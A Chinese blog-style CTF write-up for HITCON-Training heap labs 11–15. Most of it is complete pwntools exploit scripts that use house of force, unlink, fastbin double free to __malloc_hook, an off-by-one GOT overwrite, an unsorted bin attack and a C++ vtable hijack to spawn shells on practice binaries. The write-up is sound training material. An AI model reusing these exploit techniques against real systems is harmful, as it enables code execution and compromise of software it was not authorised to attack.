Hitcon-Training之lab11~lab15

lab11

先来看一下这题的基本信息和漏洞点

以上就是这道题目的漏洞点,大概有三种方法可以用来解题: ####方法一:利用house of force,修改top chunk大小再分配chunk,实现任意地址写,调用magic函数 具体的原理可以看ctf-wiki中的介绍,不算难理解

#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")

ip =""
if ip:
	p = remote(ip,20004)
else:
	p = process("./bamboobox", aslr=0)

elf = ELF("./bamboobox")

def sl(s):
	p.sendline(s)
def sd(s):
	p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def getshell():
	p.interactive()


def show():
	ru("Your choice:")
	sd("1")
def add(index,content):
	ru("Your choice:")
	sd("2")
	ru("Please enter the length of item name:")
	sd(str(index))
	ru("Please enter the name of item:")
	sd(content)
def change(index,length,content):
	ru("Your choice:")
	sd("3")
	ru("Please enter the index of item:")
	sd(str(index))
	ru("Please enter the length of item name:")
	sd(str(length))
	ru("Please enter the new name of the item:")
	sd(content)

def delete(index):
	ru("Your choice:")
	sd("4")
	ru("Please enter the index of item:")
	sd(str(index))
def chunk(i):
	return 0x6020c8+i*0x10

magic = 0x400d49
atoi_got = elf.got["atoi"]
#--------------------------------------------------------------------
#方法一
add(0x50,'aaaa')
payload = 'a'*(0x50)+p64(0)+ p64(0xffffffffffffffff)
change(0,len(payload),payload)
# gdb.attach(p)
# pause()
heap_base = -(0x50 + 0x10)-(0x10+0x10)
malloc_offset = heap_base -0x10
add(malloc_offset,'bbbb')
pause()
add(0x10,p64(magic)*2)
#print p.recv()
pause()
ru("Your choice:")
sl("5")
getshell()

####方法二:利用unlink操作,调用magic函数

#方法二
add(0x80,"a"*8)chunk0
add(0x80,"b"*8)chunk1
add(0x80,"c"*8)chunk2
#需要注意,这三个chunk的大小都要保证不在fastbin的范围内
#因为fastbin的size的p位默认为1,就无法进行unlink操作

FD = 0x6020c8 - 3*8#在bss段,0x6020c8恰好存储了chunk0的指针
BK = FD +8
payload1 = p64(0)+p64(0x81)+p64(FD)+p64(BK)+"a"*0x60
payload1 += p64(0x80)+p64(0x90)
change(0,0x90,payload1)
delete(1)
#构造一个假的大小为0x80的fake_chunk,同时通过堆溢出
#将chunk1的pre_size和size进行修改,使得size的p位为0
#在free掉chunk1的时候,fake_chunk和chunk1就会进行合并
#这时就会对fake_chunk进行unlink操作
#这时就要对FD和BK进行精心构造,使得能够绕过unlink的检查
#也就是使得:FD->bk = p  &&  BK->fd = p
#在通过检查后,unlink会导致:*p=p-3*8=0x6020c8 - 3*8


payload2 = p64(0)+p64(0)+p64(0x80)+p64(FD)+p64(0x80)+p64(atoi_got)
change(0,len(payload2),payload2)
change(1,0x10,p64(magic))
#这时向chunk0中输入内容,实际上也就是向0x6020c8 - 3*8中输入内容
#于是,就可以为所欲为地修改chunk_list,从而构造 UAF 
ru("Your choice:")
sl("5")
getshell()
#ps:这里有个玄学问题是,只能改chunk1的为atoi的got表,改chunk0就不行。。。很迷

####方法三,利用unlink,构造system(/bin/sh)

#方法三
#前面的内容和方法二一样,paylode2后就不一样
payload2 = p64(0)+p64(0)+p64(0x80)+p64(atoi_got)
#ps:是真的迷,如果用这种方法,改chunk0为atoi的got表就可以成功
change(0,0x20,payload2)
show()
ru("0 : ")
atoi = u64(ru("2 : ")[:6].ljust(8,"\x00"))
print "atoi----->"+hex(atoi)

#通过atoi的真实地址,去libc查找可以得到以下:
offset_system = 0x0000000000045390
offset_atoi = 0x0000000000036e80
libc_base = atoi-offset_atoi
system = libc_base+offset_system

change(0,0x8,p64(system))
sl("/bin/sh\x00")
sl("5")

getshell()

lab12

醉了,这题和网鼎杯半决赛的pwn3基本上一毛一样,就题目描述改了一下,当时没做出血亏orz,做法和那题一样:2018-网鼎杯 pwn(部分线上+线下) 直接贴exp了:

#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")

ip =""
if ip:
	p = remote(ip,20004)
else:
	p = process("./secretgarden")#, aslr=0

elf = ELF("./secretgarden")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
#-------------------------------------
def sl(s):
	p.sendline(s)
def sd(s):
	p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
    gdb.attach(p,'')
    pause()
def getshell():
	p.interactive()
#-------------------------------------
def create(size,name,color):
	ru("Your choice : ")
	sl("1")
	ru("Length of the name :")
	sl(str(size))
	ru("The name of flower :")
	sd(name)
	ru("The color of the flower :")
	sl(color)

def visit():
	ru("Your choice : ")
	sl("2")

def remote(index):
	ru("Your choice : ")
	sl("3")
	ru("Which flower do you want to remove from the garden:")
	sl(str(index))

def clean():
	ru("Your choice : ")
	sl("4")

create(0x98,"a"*8,"1234")
create(0x68,"b"*8,"b"*8)
create(0x68,"b"*8,"b"*8)
create(0x20,"b"*8,"b"*8)
remote(0)
clean()
create(0x98,"c"*8,"c"*8)
visit()

ru("c"*8)
leak = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak -0x58-0x10 -libc.symbols["__malloc_hook"]
print "leak----->"+hex(leak)
malloc_hook = libc_base +libc.symbols["__malloc_hook"]
print "malloc_hook----->"+hex(malloc_hook)
print "libc_base----->"+hex(libc_base)
one_gadget = 0xf02a4 + libc_base


remote(1)
remote(2)
remote(1)
#debug()
create(0x68,p64(malloc_hook-0x23),"b"*4)
create(0x68,"b"*8,"b"*8)
create(0x68,"b"*8,"b"*8)

create(0x68,"a"*0x13+p64(one_gadget),"b"*4)

remote(1)
remote(1)

getshell()

lab13

常规的保护机制

这题应该算是一个off_by_one吧,只能溢出一个字节,改变下一个chunk的size,然后再free,然后再create,再进行操作 主要的漏洞点在edit函数:

主要的思路是: *create两个chunk,用chunk0溢出到chunk1 的size位,然后free掉chunk1 *申请一个新的chunk2,使得chunk2落在chunk1size的部分从而修改指针 *改free的got表为system的地址,然后使得chunk0 的内容为/bin/sh,接着free(chunk0)从而getshell

exp如下:

#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")

ip =""
if ip:
	p = remote(ip,20004)
else:
	p = process("./heapcreator")#, aslr=0

elf = ELF("./heapcreator")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
#-------------------------------------
def sl(s):
	p.sendline(s)
def sd(s):
	p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
    gdb.attach(p,'')
    pause()
def getshell():
	p.interactive()
#-------------------------------------
def create(size,contant):
	ru("Your choice :")
	sl("1")
	ru("Size of Heap : ")
	sl(str(size))
	ru("Content of heap:")
	sd(contant)

def edit(Index,contant):
	ru("Your choice :")
	sl("2")
	ru("Index :")
	sl(str(Index))
	ru("Content of heap : ")
	sd(contant)

def show(Index):
	ru("Your choice :")
	sl("3")
	ru("Index :")
	sl(str(Index))

def delete(Index):
	ru("Your choice :")
	sl("4")
	ru("Index :")
	sl(str(Index))

free_got = elf.got["free"]
print "free_got------>"+hex(free_got)
create(0x18,"a"*8)
create(0x10,"b"*8)
edit(0,"/bin/sh\x00"+"a"*0x10+p64(0x41))
#debug()
delete(1)

create(0x30,p64(0)*4+p64(0x30)+p64(free_got))
show(1)
ru("Content : ")
free = u64(p.recv(6).ljust(8,"\x00"))
libc_base = free- libc.symbols["free"]
system = libc_base+libc.symbols["system"]
print "free------>"+hex(free)
print "libc_base------>"+hex(libc_base)
edit(1,p64(system))
delete(0)
getshell()
#debug()

lab14

1537716577381

这里存在一个直接cat flag 的函数,只要想办法把magic 的值改得比0x1305大就行了

这里需要用到一个unsorted_bin的小操作

利用修改一个unsorted_bin的bk,使得指定的内存位置的值变得很大

ctf-wiki上面其实也有针对这题的特别讲解,原理还是比较易懂,就不多bb了

直接上exp:

#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")

ip =""
if ip:
	p = remote(ip,20004)
else:
	p = process("./magicheap")#, aslr=0

elf = ELF("./magicheap")

libc = elf.libc
#-------------------------------------
def sl(s):
	p.sendline(s)
def sd(s):
	p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
    gdb.attach(p,'')
    pause()
def getshell():
	p.interactive()
#-------------------------------------

def create(Size,contant):
	ru("Your choice :")
	sl("1")
	ru("Size of Heap : ")
	sl(str(Size))
	ru("Content of heap:")
	sd(contant)	

def edit(index,Size,contant):
	ru("Your choice :")
	sl("2")
	ru("Index :")
	sl(str(index))
	ru("Size of Heap : ")
	sl(str(Size))
	ru("Content of heap : ")
	sd(contant)

def delete(index):
	ru("Your choice :")
	sl("3")
	ru("Index :")
	sl(str(index))

create(0x20, "aaaa")  # 0
create(0x80, "aaaa")  # 1
create(0x20, "aaaa")  # 2

delete(1)

magic = 0x6020c0
fd = 0
bk = magic - 0x10

payload = "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk)
edit(0, 0x40,payload)
create(0x80, "aaaa")

p.recvuntil(":")
p.sendline("4869")
print p.recvall()
#getshell()

lab15

1537941837194

这题是c++编写的程序,涉及了新的知识盲区,orz太菜了

连NX 都没开,八成就是用写入shellcode的操作了

这里涉及到一个c++虚表的知识点

大概意思是,在c++的类中的虚表会通过一个叫虚表的东西进行跳转从而执行函数

这题的解法的思路在于,修改虚表,跳转到shellcode的位置执行

通过IDA搜索功能,可以找到dog的虚表位置:0x403140

1537966236797

关于虚表的知识点,可以参考这位大佬的博客:http://showlinkroom.me

简单介绍一下,虚表大概是这样子的:

1537966316232

而我们要操作它,使他变成这样:

1537966499528

我们结合题目源代码,可以发现:是通过animallist数组来实现speak函数的,换句话说这个数组存着指向虚表的指针

1537966542642

如果我们,建立两个dog:(完整的exp在后面)

add_dog("a"*8,0)
add_dog("b"*8,1)

那么此时的堆分布是这样的:

1537965908236

由于,这一句代码会造成堆溢出,可以通过堆溢出来实现修改虚表的地址

1537966823611

再接着执行:

remove(0)
fake_vptr = nameofzoo + len(shellcode)
add_dog("c"*72 + p64(fake_vptr),2)

此时堆的分布变成了这样:

1537965621869

1537965697950

通过上面的图已经可以很清楚构造的过程了

接着就只需要去调用一次speak函数就行了,也就是调用一次listen()

完整的exp如下:

#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")

ip =""
if ip:
	p = remote(ip,0000)
else:
	p = process("./zoo")#, aslr=0

elf = ELF("./zoo")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
#-------------------------------------
def sl(s):
	p.sendline(s)
def sd(s):
	p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
    gdb.attach(p,'')
    pause()
def getshell():
	p.interactive()
#-------------------------------------

shellcode = asm(shellcraft.sh())

def add_dog(name,weight):
	ru(":")
	sl("1")
	ru(":")
	sl(name)
	ru(":")
	sl(str(weight))

def remove(idx):
	ru(":")
	sl("5")
	ru(":")
	sl(str(idx))

def listen(idx):
	ru(":")
	sl("3")
	ru(":")
	sl(str(idx))	

#gdb.attach(p,"b *0x40193E\nc\n")
nameofzoo = 0x605420

ru(":")
sl(shellcode + p64(nameofzoo))

add_dog("a"*8,0)
add_dog("b"*8,1)

# debug()
remove(0)
# pause()
fake_vptr = nameofzoo + len(shellcode)
add_dog("c"*72 + p64(fake_vptr),2)
#pause()
listen(0)
getshell()

太菜了,逆向底子有点烂,遇到c++就懵逼逆不出来qvq